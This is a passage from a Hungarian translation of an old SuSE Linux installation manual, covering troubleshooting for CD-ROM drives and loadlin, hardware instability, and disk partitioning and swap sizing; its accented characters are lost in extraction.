2.8. Problmk lersa Egy plda a <paramterre>: ide0=noautotune Ez a paramter gyakran hasznlhat az (E)IDE merevlemez-meghajtkhoz. Tovbbi kernelparamterek tallhatk a 14.3.2 . fejezetben (385. oldal); itt kell megnznnk, amennyiben problmnk van a SCSI rendszerekkel vagy a hlzati krtyk csatlakoztatsval. 2.8.6 Problmk a prhuzamos portos CD-ROM meghajtkkal

Minden elrhet meghajtt kilistz a Linuxrc teleptskor. Rendszerint nino csenek klnlegessgek. Sajnos, van mg sok meghajt (pl. a Freecom), amit nem tmogat a Linux. Lehet hogy nem tudjuk hasznlni azokat, br kziknyvk szerint a tpusuk azonostott. A gyrt nyilvnvalan megvltoztatta a bels rszt, anlkl o hogy ezt nyilvnossgra hozta volna... Nhny eszkzt inicializlni kell egy DOS meghajtval, hogy elrhet legyen o Linux alatt: 1. Indtsuk el a DOS-t s tltsk be a CD-ROM meghajtt. 2. Tegynk be egy Linux indt lemezt. 3. Kikapcsols nlkl indtsuk jra (warm reboot) a gpet. Ha a meghajtnk nincs tmogatva, egy DOS partcirl kell teleptennk, amint azt korbban emltettk (lsd a 2.4 . fejezetben (48. oldal)). A prhuzamos portok programozsnak jelenlegi informciit nzzk meg a: http://www.torque.net/linux-pp.html cmen. 2.8.7 Problmk "specilis" CD-ROM meghajtkkal

Tbb klnbz meghajtprogram is rendelkezsre ll a Mitsumi meghajo tkhoz! Ezek a specilis Mitsumi meghajtk, amelyek klnsen felel sek o a "rgi" meghajtkrt, amiknek sajt vezrl jk van (pl. LU-005 vagy FXo 001). Az jabb meghajtk esetn (mint az FX-400) az ATAPI EIDE ttelt kell vlasztanunk. Ugyanez vonatkozik a Sony s Aztech tpus meghajtkra is. A Mitsumi MCDX meghajt klnbzik a "norml" Mitsumi meghajtktl, abban az rtelemben, hogy kpes olvasni a Multisession CD-ket is. gy a teleptsnl rdektelen, hogy a kett kzl melyik meghajtt hasznljuk. Elo hatroztuk azonban, hogy kimondottan ez a meghajt benne legyen, mivel lehet olyan eset, ahol az egyik meghajt esetleg m kdik, de a msik nem. u 2.8.8 Az IBM Thinkpad "elalszik" telepts kzben

Indts alatt, a rendszer klnbz helyeken elhal (aborts) :-( . Erre nincs o elrhet ltalnos megolds. Nhny rgebbi verzihoz alternatva lehet, a o telepts DOS-on keresztl a setup.exe segtsgvel, a Linux betltse pedig a loadlin (lsd a 2.5 . fejezetben (52. oldal)) segtsgvel trtnjen. Itt van nhny tlet, amit eddig sszegy jtttnk. Visszajelzseket szvesen u vesznk: 65

2. Az els SuSE Linux telepts o Kapcsoljunk ki mindent, ami lehet v teszi az ramtakarkos (power o safe) mdot. Kulcsok: "suspend mode", "power management", "sleep features". Ha DOS-rl indtunk, tltsk be a CD-ROM meghajtt a config.sys llomnyunkba a /S opcival. A <drive> s <path> helyre meg kell adnunk a rendszernknek megfelel rtkeket. o
DEVICE = <drive>:\<path>\IBMTPCD.SYS /S

Tartzkodjunk a oppymeghajt elrst l telepts alatt. o

2.8.9

A Loadlinnek nincs elg memria a kernel betltshez

Nincs elg szabad memria a 640 kB alatt. Prbljunk meg eltvoltani meghajtkat a startup-fjlunkbl, vagy soroljuk t azokat a fels memriba (high o memory). Ha tmrtett (compressed) meghajtt hasznlunk Windows 95/98 alatt, s a meghajtk tsorolsa a fels memriba nem m kdik, ki kell tmrtennk o u ezeket a meghajtkat (drives). 2.8.10 A Loadlin nem indul

Ha problmba tkznk a loadlin hasznlata sorn, a loadlin-t az albbi opcikkal kell indtanunk: -v, -t vagy -d. Legjobb a hibakeres (debug) informcit egy fjlba rni, pl. a debug.out o fjlba:
C:\> loadlin -d debug.out <egyb paramterek>

Elkldhetjk ezt a fjlt a SuSE support-nak. Az <egyb paramterek> helyre a rendszerspecikus rtkeinket kell megadni (lsd a 4.9.1 . fejezetben (143. oldal)) 2.8.11 A DOS vdett (protected) mdban fut

A loadlin csak akkor tudja elindtani a kernelt, ha a gp nem protected mdban fut, vagy ha egy VCPI szerver is fut. Ha Windows 95/98 alatt dolgozunk, t kell vltanunk MS-DOS mdba. Vagy menjnk a Start gombon t a Lellts (Shut down), Gp jraindtsa MSDOS mdban (Restart computer in MS-DOS mode) pontra, vagy ksztsnk egy linket az MS-DOS parancssorhoz, s vltoztassuk meg tulajdonsgait (properties) eszerint: A Program menben vlasszuk ki az Advanced-et s jelljk meg egy "X"-szel az MS-DOS modeot. Ha most jraindtjuk MS-DOS ablakunkat, az MS-DOS mdban fog elindulni. 66

2.8. Problmk lersa 2.8.12 A CD-ROM meghajtk betujele

Ha ltrehozunk egy jabb partcit a ps segtsgvel, az egy DOS partci lesz. Ennek kvetkeztben minden meghajt eggyel el bbre kerl, gy a CDo ROM-unk mr nem D:, hanem E: jel lesz. u Azutn, hogy a partci tpust Linuxra vltoztattuk a YaST -tal, ez visszavltozik; a CD-ROM meghajtnk most ismt D: jel lesz. u Ha nem vagyunk kpesek a CD-ROM-unkat megnyitni a Windows Explorerrel vagy a Sajtgppel (My Computer) Windows 95/98 alatt, ez azt jelenti, hogy mg mindig az E:-t prblja elrni (a fenti plda alapjn). Ekkor az Intz (system management) eszkzt kell hasznlnunk a Vezrl pultban o o (Control Panel), hogy megvltoztassuk a CD-ROM-unk bet jelt D:-re. u 2.8.13 ltalnos hardverproblmk

Az albbi tnetekb l akr tbb is el fordulhat: o o Id ztsi problmk, amikor a CD-ROM-ot akarjuk elrni, lefagys (halt), o hossz kslekeds (long delays), buszhibk (bus errors), szegmentcis hiba (segmentation faults). kernelfordts (vagy ms programok fordtsa (compilation)) megszakad (aborts) signal 11 vagy signal 7 hibval. Helytelen fjltartalom. Memria-elrsi hiba. Grakk helytelen megjelentse. CRC-hibk a mgneslemez-meghajt elrsnl. Indts alatt sszeomls vagy lefagys. Hiba egy fjlrendszer ltrehozsnl (mke2fs hibkat jelez)). Hiba a swapterlet belltsnl. Egyb "furcsa" rendszerviselkeds a hardver elrsekor. Httrinformci A furcsa jelensgek legtbbje valszn leg hibs vagy rosszul belltott hardu vert l ered. Ezek okozja, hogy sok alaplap (motherboards) nyilvnvalan o id ztsi (timing) problmval kzd. Ezek az id ztsi problmk lthatv o o vlnak a buszhibkon (CPU-memria-PCI-ISA) keresztl. Mg ha a rendszer stabil is DOS vagy Windows alatt, ez nem mond semmit a hardver stabilitsrl s annak belltsrl. A hardver m kdni tud egy lass, CPU szegmenu tlt memria -elrssel 16 bites real mdban (DOS, Windows alatt). Amint a memrit lineris mdban rjkk el 32 bites rohammal, a hiba el jhet. o Tovbbi okozja lehet egy rosszul h ttt CPU, vagy tl lass vagy hibs (h u o rzkeny) RAM modul (SIMMS). A msodszint cache-ben lv hibk (elu o lentmonds (inconsistency, h problmk) szintn el idzhetik a fent emltett o o hatsokat. Az ok meglehet sen vilgos, a hiba a hardvert l van, s nem a Linuxtl. o o A Linux jobb hardverstabilitst kvetel, mint ms opercis rendszerek. Egyrszt ez jobb teljestmnyt biztost, msrszt ez egyes rendszereken a fent 67

2. Az els SuSE Linux telepts o emltett problmkhoz vezethez. Ms opercis rendszerekkel ellenttben a Linux felttelezi, hogy a hardver stabilan m kdik. Ha nem ez a helyzet, a u Linux megll a m kdsben. Egy opercis rendszer, ami tovbb fut hibs u vagy potencilisan hibs hardverrel, slyos biztonsgi veszlyt jelenthet. Lsd a http://www.bitwizard.nl/sig11 oldalt. Mit lehet tenni? Tbb paramtert s felttelt meg lehet vltoztatni, hogy elklntsk a hibs alkatrszt vagy egysget. Kapcsoljuk ki a bels s/vagy kls Cache-t a BIOS bellts (setup) o o hasznlatnl (CMOS). Cskkentsk a buszrajelet (VLB esetn maximum 40MHz! PCI busz esetn a specikci szerint, maximum 66 MHz a kls processzor ro hoz): hasznljuk a BIOS belltst vagy a jumpereket az alaplapon. Nveljk a vrakozsi (waitstates) szmokat, amikor a CPU elri a memrit vagy a cache-t: hasznljuk a BIOS belltst. Ellen rizzk, vajon a 15-16M Memria Lyuk (15-16M Meo mory Hole) opci aktv-e a BIOS belltsban: ha gy van, inaktivljuk azt! A Linux nem szmt ilyen "lyukakra"! Az (Advanced) Chipset Setup alatt, ha elrhet , lltsuk RAS-ra CAS o before RAS: hasznljuk a BIOS belltst. Teszteljk le a memriamodulokat: mindig problmkat jelenthet a klnbz tpus modulok egyttes o hasznlata! Amikor egy PCI-buszt 66 MHz-es DRAM modullal hasznlunk, 60nsot (vagy kevesebbet) (nem tlhajtani (no overtiming)) kell meghatroznunk. Ellen rizzk a SIMM vagy DIMM csatlakozk rintkez it, pontosan o o kell illeszkednik, s nem szabad sem laznak, sem elferdltnek lennik. Tvoltsuk el a modulokat az alaplapbl, s tegyk vissza azokat (kzben ellen rizzk, hogy az rintkez k nem korrodltak-e!) o o Cserljk meg a modulok sorrendjt a memriabankokban. Ellen rizzk, hogy a CPU-ventilltor m kdik-e, s vajon valban pono u tosan illeszkedik a CPU-ra (ha szksges, hasznljunk h tad pasztt). o Kapcsoljuk ki a Power Management-et (APM). Ez mr tbb alkalommal hiba forrsa volt, klnsen a 2940-nel tkzve (conjunction): hasznljuk a BIOS belltst. Nhny Pentium utnzat (clones) problmkat okoz, ha a kernel vagy a fordt (compiler) Pentiumra van optimalizlva, de K6-ot vagy egy Cyrix 6x86-ot hasznlunk helyette. Ilyen rendszereken optimalizlnunk kell a kernelt s a programokat maximum 486-osra. Esetleg mg szksges lehet visszavenni az optimalizcit 386-ra is. Hasznljuk kell a SuSE szabvnykernelt (lsd mg a 3.6.2 . fejezetben (105. oldal)). Ellen rizznk le minden ltalnos BIOS belltst. Ha szksges, vegyk o vissza a (meglehet sen konzervatv) BIOS defaults-ra. o 68

2.9. Partcionls kezd knek o Ha egy hibs (buggy) PC-BIOS-unk van, az egyetlen megolds a BIOS frisstse. Krdezzk meg a helyi keresked nket vagy az alaplap gyrto jt. A tpegysgnk (power supply) nem ad elegend ramot, vagy a feszlto sg ingadozik: prbljunk meg kikapcsolni nhny fogyasztt. Ne hasznljuk a "Busmaster-DMA", msnven "UDMA"-t vagy az "Ultra-DMA"-t. Gy z djnk meg rla, hogy az EIDE kbel rvid s o o j min sg . o u

2.9

Partcionls kezd knek o

Fordtotta: Vradi Istvn A Linux s a fjlrendszere teljesen j neknk? Valszn leg ilyen krdu seket tesznk fel magunknak: Mekkora helyet kellene kijellnnk a Linux szmra? Mi az a minimum, ami kell? Mi a legjobb a szksgleteinknek? Hogyan kellene felosztanunk a rendelkezsre ll helyet? Partcitpusok egy PC-n Minden merevlemez tartalmaz egy partcis tblt, ami sszesen ngy bejegyzsnek biztost helyet. Egy bejegyzs lehet els dleges (primary) vagy o kiterjesztett (extended) partci. Viszont csak egy kiterjesztett partcit lehet kijellni. Az els dleges partcik a cilinderek egybefgg terletei, amiket (ltalban) o o egy opercis rendszernek jellnk ki. Kizrlag els dleges partcik haszo nlatval sszesen csak ngy partcit tudunk ltrehozni. Tbb nem fr bele a partcis tblba. Egy kiterjesztett partci maga is cilinderek egybefgg terlete, de egy kio terjesztett partcit feloszthatunk tbb logikai partcira, amiknek viszont nem kell kln bejegyzs a partcis tblban. A kiterjesztett partci (tbbkevsb) trol a logikai partcikhoz. Ha tbb, mint ngy partcira van szksgnk, ksztennk kell egy kiterjesztett partcit, amiben logikai partcikat jellhetnk ki. Ezek maximlis szma SCSI rendszer esetn 15, (E)IDE rendszer esetn pedig 63. A Linuxot nem rdekli, hogy milyen partcira teleptjk. Lehet els dleges o vagy logikai partcira is. Ideje dnteni Kezdjk a minimum SuSE Linux teleptssel: 180 MB. Ez csak akkor m ku dik, ha a gpnket egyszer clokra akarjuk hasznlni, pl. csak szveges konu zolon fogunk dolgozni (ekkor nincs X Window rendszer). Ha bele akarunk nzni az X-be, s elindtani egypr alkalmazst, szksgnk lesz 500 MB-ra. Mindkt esetben a swap mrete is benne van. Mi a kvnatos mret a teleptsre? Kb. 1 GB. A mai tbb 10GB-os mret merevlemezvilgban meglehet sen szerny kvetelmny ez. Fels hatr u o o viszont nincs. Mi a legjobb a szksgleteinknek? Ez attl fgg, mit akarunk csinlni: 69

2. Az els SuSE Linux telepts o X alatti munka, alkalmazsok hasznlata, mint pl. az Applixware s a Netscape. 1,2 GB helyigny. Sajt alkalmazsok ksztshez X alatt, szintn 1,2 GB-ra van szksgnk. A fenti kt ttelhez: 2 GB. Sajt X kiszolglk fordtshoz (compile), sajt CD-k rshoz a fent emltett ttelekkel egytt: 4 GB. Egy Internet/FTP kiszolgl fellltshoz: 700 MB a minimum. A mostanra megvalstott hatalmas linux-fjlrendszerhez, nagyon j tlet, klnsen kezd knek, hogy kvessk a YaST ltal javasolt stratgit: o ksztsnk egy kis partcit a merevlemez elejn a /boot-nak (legalbb 2 MB, nagyobb meghajtk esetn 1 cilinder), egy partcit a swapnek (64128 MB), s az sszes tbbi maradjon a / rszre. Ha partcionlni akarunk valamit, de szinte olyan kicsire, amennyire csak lehetsges, akkor az albbi egyszer szably rvnyes: u Hogy kellene felosztanunk a merevlemezt? Ezt az egyszer krdst nem u knny megvlaszolni. Alkalmazzuk az albbi tmutatst: u 500 MB-ig: swappartci s egy root (/) Kzelt leg 500 MB-tl 2 GB-ig: kis indt bootpartci a kernelnek s o a LILO -nak a merevlemez legelejn (/boot, nagyjbl 5-10 MB vagy 1 cilinder), egy swappartci s a maradk a rootpartcinak /. Tbb, mint 2 GB: boot (/boot), swap, root (250 MB), home (/home megkzelt leg 100 MB felhasznlknt) s a maradk az alkalmazsoko nak (/usr); lehet leg egy tovbbi partci az /opt rszre (lsd a 70 o fejezetben) s a /var-nak. Ha a Linuxot kzvetlen a merevlemezr l tervezzk indtani, szksgnk o van egy boot partcira, ami egy Linux partci az "1024. cilinder limit" alatt (err l tbbet olvashatunk a 22 . fejezetben (123. oldal). Ez a korlo tozs nem zavar bennnket, ha a Linuxot DOS/Windows all a loadlin-nel indtjuk. Rendszerint (mr a SuSE Linux 6.0 ta), a boot partci (/boot) ugyanaz lesz, mint a root partci. Szem el tt kell tartanunk, hogy nhny program (ezek tbbnyire kereskeo delmi programok) adatait a /opt al telepti; ha tbb ilyet teleptnk, akkor vagy ltestnk egy kln partcit az /opt-nak6 , vagy nveljk meg a rootpartci mrett. Klnsen bevonva ebbe azokat a programcsomagokat vagy demprogramokat, amiket a 2.1 tblzat sorol fel ezek kiszmtst mr a mretnvekeds gyelembevtelvel tettk meg (a tblzatban megemltettnk olyan programokat is, amelyek nincsenek benne a SuSE Linuxban). Mindenesetre vagy biztostsunk a /opt-nak sajt partcit, vagy a rootpartcink legyen elg nagy. Nhny plda lthat a 2.1 tblzatban.
6 Egyes rendszerekben a /opt egy symlink, ami a /usr-re mutat, gy nincs klnsebb gond a fentiekkel :-))).

70

2.10. Partcionls haladknak

KDE GNOME htdig Fortify dochost a htdig-gel teljesszveges keress Wabi Netscape Arcad Applixware Eagle Starofce Cyberscheduler Software Cygnus Source-Navigator SNiFF+ Insure++ pep Oracle 8 Sybase Adaptive Server Enterprise virtuoso OpenLink Virtuoso Lite Edition

170 MB 100 MB 5 MB 2 MB 200 MB 10 MB 35 MB 350 MB 400 MB 18 MB 150 MB 30 MB 20 MB 45 MB 45 MB 18 MB 400 MB 170 MB 55 MB

2.1 tblzat: Csomagok a /opt knyvtrban

2.10

Partcionls haladknak

Az el z ekben (a 2.9 . fejezetben (69. oldal) s a 2.11.1 . fejezetben (76. o o oldal)) rszleteket adtunk rendszernk klnbz mdon trtn partciono o lsrl. Ez a rsz mg rszletesebb informcit ad arrl, hogy miknt alaktsunk ki egy rendszert, hogy az a legjobban megfeleljen szksgleteinknek. Ez itt f leg azokat rdekli, akik optimalizlt rendszert akarnak, ami a biztono sgot s a teljestmnyt is szem el tt tartja s akik felkszltek a rendszer o teljes jrateleptsre, ha az szksges. Nagyon lnyeges, hogy a UNIX fjlrendszer m kdsr l szleskr ismereu o u tekkel rendelkezznk. Ismer snek kell lennnk az albbi tmkban csatoo lsi pont (mount point), zikai, kiterjesztett s logikai partcik. Meg kell emltennk, hogy nincs aranyszably mindenre, de sok szably van egyes szitucikra. Nem kell izgulnunk, ebben a rszben konkrt szmokat fogunk tallni, hogy segtsen minket. El szr is, ssze kell gy jtennk az albbi informcikat: o u Mire kell a gp (fjlkiszolgl, tudomnyos szmts (compute) kiszolglja, egyedlll gp)? Hny ember fog dolgozni a gpen (egyid ben val bejelentkezsek o szma)? Hny merevlemez van teleptve? Milyen nagyok azok s milyen tpusak (EIDE, SCSI vagy ppen RAID vezrl sek)? o

71

2. Az els SuSE Linux telepts o 2.10.1 A swappartci mrete

Elg gyakran fogjuk olvasni: A "swap legalbb akkora kell, hogy legyen, mint a zikai RAM mrete". Ez azokbl az id kb l maradt rnk, amikor a 8 MB-ot mg sok RAM-nak o o tekintettek (memria). Azok az alkalmazsok, amelyeknek meglehet sen sok memria kell, eltoltk o ezt az rtket felfel. ltalban 64 MB virtulis memria elegend kell, hogy o legyen. Ne legynk fukarak. Ha egy kernelt fordtunk X alatt, s bele akarunk nzni a kziknyvbe a Netscape-et hasznlva, s t mg egy emacs is fut, mr o el is hasznltuk mind a 64 MB-ot. A biztonsg kedvrt legyen legalbb 96 MB virtulis memrink. Egy dolog, amit soha nem szabad megtennnk, az, hogy nem jellnk ki swap terletet egyltaln! Mg egy olyan gpen is, amiben 256 MB RAM van, mg azon is kell swappartci7 . Ennek okt a 2.10.3 . fejezetben (75. oldal) kifejtjk. Tervezzk egy kiterjedt szimulci futtatst, s szksgnk van gigabjtnyi memrira? Ktsg esetn, hogy vajon a Linux megfelel-e szksgleteinknek, olvassuk el a 2.10.2 fejezetet (pl.: kalkulcis (compute) kiszolgl). 2.10.2 Szmtgp egyedlll gpknt

ltalban egy linuxgpet nll szmtgpknt hasznlnak. Annak rdekben, hogy knnyebb legyen dntennk, nhny konkrt szmadatot adunk, amit hasznlhatunk otthon vagy a cgnknl is. A 2.2 tblzatban egy ttekints lthat a klnbz linux-rendszerek lemezmret-el rsairl. o o

Telepts minimum kicsi kzepes nagy

Lemezhely-szksglet 180 MB-tl 400 MB-ig 400 MB-tl 800 MB-ig 800 MB-tl 4 GB-ig 4 GB-tl 8 GB-ig

2.2 tblzat: Pldk klnbz teleptsek lemezhely-ignyeire o

Plda: nyomtatkiszolgl/tvlaszt (router) Plda: Egyedlll gp (kicsi) Van egy 500 MB-os flretett merevlemeznk a Linuxra: hasznljunk 100 MB-ot a root-nak /, egy 64 MB-os swappartcit s a tbbit a /usr-nek.
7 A fordt megjegyzse: Nekem 256 MB RAM van a gpben, a rgi id kb l az 5 GB-os HDDo o men 64 MB swap mint els dleges (hogy kicsi s gyors legyen), a 15 Gigsomon meg - van hely o dgivel alapon - vsztartalknak 127 MB. El is tud fogyni, ha fut a wine, vmware, SO 5.2 s Netscape egyszerre :-).

72

2.10. Partcionls haladknak Plda: Egyedlll gp (tlagos) Van 1,2 GB helynk a Linuxra. Egy kis indt bootpartci (/boot 5-10 MB vagy 1 cilinder), 180 MB a / szmra, 64 MB a swap-nak, 100 MB a /homenak, a tbbi a /usr; ne felejtsk el a /opt rszt (lsd a 2.9 . fejezetben (70. oldal)). Amikor dntnk a root partci mretr l, ne felejtsk el, hogy az o RPM adatbzis a /var alatt jn ltre (lsd a 15.3.2 . fejezetben (434. oldal))! 1.2 GB ll rendelkezsnkre a Linuxhoz. Ugyangy, mint az el bb, hasznlo junk 100 MB-ot a root /, 64 MB-ot a swap, 100 MB-ot a /home-ra, a tbbit a /usr-re. Figyeljnk arra, hogy az RPM adatbzis a /var alatt j nhny MB-ot lefoglal (lsd mg a 15.3.2 . fejezetben (434. oldal)). Plda: Egyedlll gp (luxus) Ha tbb, mint 1.2 GB ll rendelkezsnkre, nincs szabvnyostott mdja a partcionlsnak. Olvassuk el a 2.10.3 fejezetet. Fjlkiszolglknt hasznlva Ebben az esetben a merevlemez teljestmnye valban kritikus. Ha lehetsges, SCSI eszkzt kell hasznlnunk. Tartsuk szem el tt a lemez s a vezrl o o teljestmnyt. Egy fjlkiszolglt adatok kzponti trolsra hasznlnak. Ezek az adatok lehetnek home knyvtrak, egy adatbzis vagy egyb archvumok is. Ennek az az el nye, hogy egyszer az adatok adminisztrlsa. o u Ha a fjlkiszolgl egy nagy hlzatot fog kiszolglni (20 felhasznlnl tbbet), akkor lnyeges a merevlemez-hozzfrs optimalizlsa. Tegyk fel, hogy egy fjlkiszolglt akarunk biztostani 25 felhasznlnak (a home knyvtraiknak). Ha egy tlagos felhasznlnak 80 MB kell szemlyes helyknt, akkor valszn leg megteszi egy 2 GB-os lemez a /home al u becsatolva. Ha 50 ilyen felhasznlnk van, egy 4 GB-os lemezre lesz szksgnk. Ebben az esetben jobb volna felosztani a /home-ot kt 2 GB-os lemezre, mert akkor megosztank a terhelst (s cskkentennk az elrsi id t!). o Alkalmazskiszolglknt hasznlva Az alkalmazskiszolgl ltalban egy nagyteljestmny gp sok f memriu o val, s kiterjedt szmtsokat vgez a hlzaton keresztl. Egy ilyen gp rendszerint kiterjedt f memrival van elltva (512 MB RAM vagy mg o tbb). Az egyedli pont, ahov gyors lemez kell, a swapterlet. Ugyanez a szably rvnyes itt is: ha tbb merevlemeznk van, sztoszthatjuk a swappartcikat kzttk8 . Tegyk a swappartcikat klnbz lemezekre. A Linux csak 128 MB swapo partcit tud kezelni, de ezekb l nyolcat kezelhet egyid ben9 . o o
8 Ha a rendszernk mg mindig 2.0.xx kernellel fut, gyelembe kell vennnk, hogy egy swap partci nem lehet nagyobb, mint 128 MB; a Linux viszont knnyedn tud kezelni 8 ilyen partcit akr mg 64-et is egy kis mdostssal. A 2.2.xx kerneleknl a swappartci fels o hatra 2 GB. 9 Egy kis mdostssal akr mg 64-et is.

73

2. Az els SuSE Linux telepts o 2.10.3 Optimalizls

A lemezek ltalban korltoz tnyez k. A torldsok elkerlsre kt leheo t sg van, amit egytt kell hasznlnunk: o ossszuk el a terhelst tbb lemezre , hasznljunk optimalizlt fjlrendszert (pl. reiserfs), lssuk el fjlkiszolglnkat elg memrival (legalbb 128 MB) . Tbb lemez prhuzamostsa Ehhez mg nhny tovbbi fogalom ismertetse szksges. A teljes id o mennyisget, ami az adatok tovbbtshoz kell, t tnyez re klnthetjk o el: az eltelt id , amg a lekrs elri a vezrl t . o o az eltelt id , amg ez a lekrs a lemezhez kerl . o az eltelt id , amg a merevlemez belltja a fejet . o az eltelt id , amg a mdia, a megfelel szektorhoz fordul . o o az adatok tovbbtsra fordtott id . o

Az els tnyez a hlzati kapcsolattl fgg, s mshol kell szablyozni. Ezt o o nem itt trgyaljuk. A msodik tnyez t gyelmen kvl lehet hagyni; ez a veo zrl t l fgg. A harmadik tnyez a lnyeges rsz. Az id t ezredmsodpercoo o o ben (millisecundum) szmoljuk. A f memria-elrsi id hz kpest (amit o o nanosecondumban mrnk) ez egy a millihoz arny! A negyedik tnyez o a lemez fordulatszmtl fgg. Az tdik tnyez fgg a fordulatszmtl, a o fejek szmtl s az adatok tnyleges helyt l (bell vagy kvl). o Optimalizlt teljestmnyhez a harmadik tnyez t kell gyelembe vennnk. o Itt a SCSI levlasztsi (disconnect) kpessge jn be a jtkba. Nzzk meg, mi trtnik: A vezrl parancsot kld az eszkznek (ebben az esetben a merevlemeznek) o "Menj az x track-re, az y szektor-ba". A lemez motorja beindul. Ha ez egy intelligens lemez (ha tmogatja a levlasztst (disconnect)), s a meghajt maga is kpes a levlasztsra, a vezrl kld egy levlaszts-jelet, s o a lemez elklnti magt a SCSI busztl. Ezutn egy msik SCSI eszkz is dolgozhat. Egy id utn (ez a SCSI busz stratgijtl vagy a terhelst l o o fgg en) a kapcsolat az eredeti lemezzel jbl felpl. Norml esetben az o eszkz ekkorra mr elrte a kvnt tracket. Egy tbbfeladatos (multitasking), tbb felhasznls rendszeren, mint a Linux, sok optimalizlst lehet belltani. Nzzk meg a df parancs kimenett (lsd a 2.10.1 kperny listt). o
Filesystem /dev/sda2 /dev/sdb1 /dev/sdc1 1024-blocks Used Available Capacity Mounted on 45835 27063 16152 63% / 992994 749694 192000 80% /usr 695076 530926 133412 80% /usr/lib

2.10.1 kperny lista: plda a df parancs kimenetelre o 74

2.10. Partcionls haladknak Nos, milyen el nyket hoz neknk a prhuzamosts? Tegyk fel, belptnk o a /usr/src-be:
root@meggyfa:/usr/src/ > tar xzf package.tgz C /usr/lib

A fenti parancs segtsgvel a package.tgz ki lesz tmrtve a /usr/lib/package-be. Ehhez a burok (shell) elindtja a tar-t s a gzip-et (amik a /bin-ben vannak, a /dev/sda diszken). Ezutn a package.tgz a /usr/src-b l olvassra kerl a (/dev/sdb diszkr l). Vgl a kitmro o tett adatokat a /usr/lib-be rja (a /dev/sdc diszkre). Prhuzamostst hasznlva a pozcionls s a lemez bels pufferjeinek rsa/olvassa egy id o o ben lehet aktv. Ez csak egy plda; van mg sok msik is. Ha ez a plda egy gyakori eljrsi el rs volna, akkor aranyszablyknt (ha van tbb lemez azonos sebessgo gel), a /usr s a /usr/lib knyvtrakat zikailag klnbz lemezekre o kell tenni. Itt a /usr-b l megkzelt leg 70% kapacitst a /usr/lib-nek o o kell sznni. A / knyvtrat elrhet sge miatt a /usr/lib-et tartalmaz o lemezre kell tenni. Bizonyos szm SCSI lemezen fell (45-nl tbb) RAID vezrl vo srlsa vlhat indokoltt, gy a lemezeken a m veletek nemcsak kvziu prhuzamosak, hanem valban prmuzamosak lesznek. Egyik hres mellktermkk a hibat rs. u A feldolgozs sebessge s a f memria mrete o A f memria mennyisge fontosabb a Linuxban, mint maga a processzor. o Egyik oka10 a Linux merevlemez-adatainak dinamikus puffer ltrehozsi kpessge. Itt a Linux sok trkkt hasznl, mint az "el re olvass (read ahead)" o (szektorok beolvassa el re) s a "ksleltetett rs (delayed write)" (meg rzi o o az rnivalkat, amg tbb ssze nem jn bel le). Ez az oka annak, amirt nem o szabad lekapcsolni egy Linuxgpet. E kt tnyez eredmnye, amirt a Linux o olyan gyors, s amirt hatkonyan hasznlja ki a memrit. A Linux osztott knyvtrakkal (shared libraries) dolgozik, azaz sok program s alkalmazs osztozik ugyanazon a rutinknyvtron. Egy rutinknyvtr-meghvst csak egyszer kell betlteni. Ez azt is jelenti, hogy a memrival igen hatkonyan dolgozik. Emiatt, ha nem tudjuk eldnteni, hogy vajon egy msik alaplapot vegynk-e, vagy mg tbb memrit, az utbbit javasoljuk, mert ez nveli a Linux sebessgt.
total Mem: 63304 -/+ buffers: Swap: 199508 used 62312 19420 14548 free 992 43884 184960 shared 15920 buffers 38692 cached 4200

2.10.2 kperny lista: a free kimenete o Ha meg akarjuk tudni, hogy mennyi memria van hasznlatban, rjuk be:
root@meggyfa:/root > free
10

Ha nem a f oka! o

75

2. Az els SuSE Linux telepts o E parancs ttekintst ad neknk a hasznlatban lv memrirl s a puffeo rekr l. A 2.10.2 kperny lista megmutatja, hogy 38 MB van trolva jelenleg o o pufferekben. Ha el akarjuk rni azokat az adatokat, amik a pufferben vannak, ezek az adatok szinte azonnal elrhet k. o

2.11
2.11.1

Merevlemeznk kzi belltsa


Partcik belltsa

Mir l is van sz? o A 2.2.3 . fejezetben (35. oldal) elhatroztuk, hogy interaktvan partcionljuk merevlemeznket. Megtrgyaljuk a menket, amikkel talkozunk majd. Httrinformci a klnbz tpus partcikrl az Andries Brouwer ltal rt o dokumentumban tallhat, a http://www.win.tue.nl/~aeb/partitions/ cmen. Lpsr l lpsre... o gy jrjunk el, amikor belltjuk a partciinkat: 1. A YaST megjelent egy kperny t, ami tbb rszre oszlik (lsd a 3.9 . o fejezetben (91. oldal)): A msodik rsz az fdisk program gyelmeztetseit s hibajelzseit mutatja meg. Megnzhetjk kzelebbr l az o F6 lenyomsval. Alul lthatjuk az fdisk ltal tallt partcikat. Ltnunk kell korbbi opercis rendszernk partciit s a swap partcit, ha mr kijelltnk egyet. 2. Ha el akarunk tvoltani meglv partcikat (hogy a helyket j partcio kra hasznljuk), akkor most kell ezt megtennnk. Jelljk ki a partcit, amit el kvnunk tvoltani. Ne felejtsk el, hogy a s segtsgvel le s fel lpkedhetnk a listban. Gy z djnk meg o o rla, hogy a megfelel partcit jelltk-e ki. Ezutn nyomjuk meg az o F4 billenty t, s er stsk meg a u o lenyomsval. Ha eltvoltunk egy partcit, azon a partcin minden adatot el fogunk veszteni. Ha tbb partcit akarunk eltvoltani, akkor most kell megtennnk azt. 3. Ha egy msik rendszer meglv partcijt akarjuk hasznlni Linuxra, o megtehetjk azt egyszer en a partci tpusnak megvltoztatsval. u Ha megvltoztatjuk egy partci tpust, azokat az adatokat amiket az tartalmazott, ms opercis rendszer (mint a DOS s Windows), esetleg nem lesz kpes elrni! Menjnk a kijellssel arra a partcira, amit meg akarunk vltoztani, a s hasznlatval. Ha biztosak vagyunk benne, hogy a "helyes" a partcit jelltk meg, csak nyomjuk meg az F3 billenty t. Egy prbeu szdablakot kapunk, ahol kivlaszthatjuk a partci tpust. Vlasszuk a 76

2.11. Merevlemeznk kzi belltsa norml-t vagy a swap-ot, majd er stsk meg vlasztsunkat a o lenyomsval. 4. Ha j partcikat akarunk kijellni (ez a norml eset), ezeket egyms utn (sequentially) kell ltrehoznunk. Nyomjuk meg az Ha ennek F5 -t. nincs semmi hatsa, az azt jelenti, hogy a lemez mr tele van partcikkal. Ekkor el kell tvoltanunk partcikat. (Lsd feljebb)...

